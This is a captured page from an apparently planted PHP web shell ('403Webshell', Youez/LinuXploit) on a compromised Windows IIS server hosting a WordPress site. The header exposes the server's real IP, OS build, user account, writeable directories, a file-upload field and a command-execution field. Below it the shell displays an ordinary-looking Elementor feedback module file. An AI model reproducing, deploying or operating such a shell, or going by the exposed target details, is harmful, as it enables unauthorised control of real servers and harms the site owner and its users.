403Webshell
Server IP : 103.191.208.88  /  Your IP : 216.73.216.44
Web Server : Microsoft-IIS/10.0
System : Windows NT COSMIC 10.0 build 20348 (Windows Server 2022) AMD64
User : IWPD_1831(willswel_) ( 0)
PHP Version : 8.2.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/Inetpub/vhosts/willswell.com/httpdocs/wp-content/plugins/elementor/modules/feedback/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : D:/Inetpub/vhosts/willswell.com/httpdocs/wp-content/plugins/elementor/modules/feedback/module.php
<?php

namespace Elementor\Modules\Feedback;

use Elementor\Core\Base\Module as Module_Base;
use Elementor\Modules\Feedback\Data\Controller;
use Elementor\Plugin;
use Elementor\Api;
use Elementor\Core\Common\Modules\Connect\Rest\Rest_Api;
use Elementor\Utils;
use http\Cookie as HttpCookie;
use WP_Http_Cookie;
use WpOrg\Requests\Cookie;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Module extends Module_Base {

	public function __construct() {
		add_action( 'rest_api_init', fn() => self::register_routes() );
	}

	protected function register_routes() {
		register_rest_route( 'elementor/v1/feedback', '/submit', [
			'methods' => 'POST',
			'callback' => fn( $request ) => $this->handle_submit( $request ),
			'permission_callback' => '__return_true',
		] );
	}

	protected function handle_submit( $request, $additional_cookies = [] ) {
		$user_meta = get_user_meta( get_current_user_id(), 'wp_elementor_connect_common_data' );
		$app = Plugin::$instance->common->get_component( 'connect' )->get_app( 'feedback' );
		$body = [
			'title' => 'Editor Feedback',
			'description' => $request->get_param( 'description' ),
			'product' => 'EDITOR',
			'subject' => 'Editor Feedback',
		];

		$response = $app->submit( $body );
		$response_code = $response['response']['code'];
		if ( 'OK' === $response['response']['message'] ) {
			return [
				'success' => true,
				'code' => $response_code,
				'message' => esc_html__( 'Feedback submitted successfully.', 'elementor' ),
			];
		} else {
			$message = $response['data']['message'] ?? esc_html__( 'Failed to submit feedback.', 'elementor' );
			return [
				'success' => false,
				'code' => $response_code,
				'message' => $message,
			];
		}
	}
	/**
	 * Retrieve the module name.
	 *
	 * @return string
	 */
	public function get_name() {
		return 'feedback';
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit